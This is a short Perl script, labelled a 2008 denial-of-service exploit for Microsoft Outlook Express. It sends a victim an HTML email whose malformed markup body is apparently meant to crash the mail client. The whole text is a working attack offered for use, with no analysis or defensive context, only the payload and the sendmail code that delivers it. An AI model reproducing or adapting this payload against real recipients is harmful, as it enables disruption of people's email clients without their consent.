#!/usr/bin/perl # DoS exploit N2 for Microsoft Outlook Express # (C) 2008 MustLive. http://websecurity.com.ua my $from_email = "dos\@exploit.com"; my $to_email = "victim\@site.com"; my $mailprog = "/usr/sbin/sendmail"; my $message = "<dt><h1 style=width:1px><li></h1>";
open (MAIL, "|$mailprog -t"); print MAIL "From: $from_email\n"; print MAIL "To: $to_email\n"; print MAIL "Subject: DoS\n"; print MAIL "Content-type:text/html\n\n"; print MAIL "$message\n"; close MAIL;
print "Content-type:text/html\n\n"; print "DoS email has been sent.\n";
|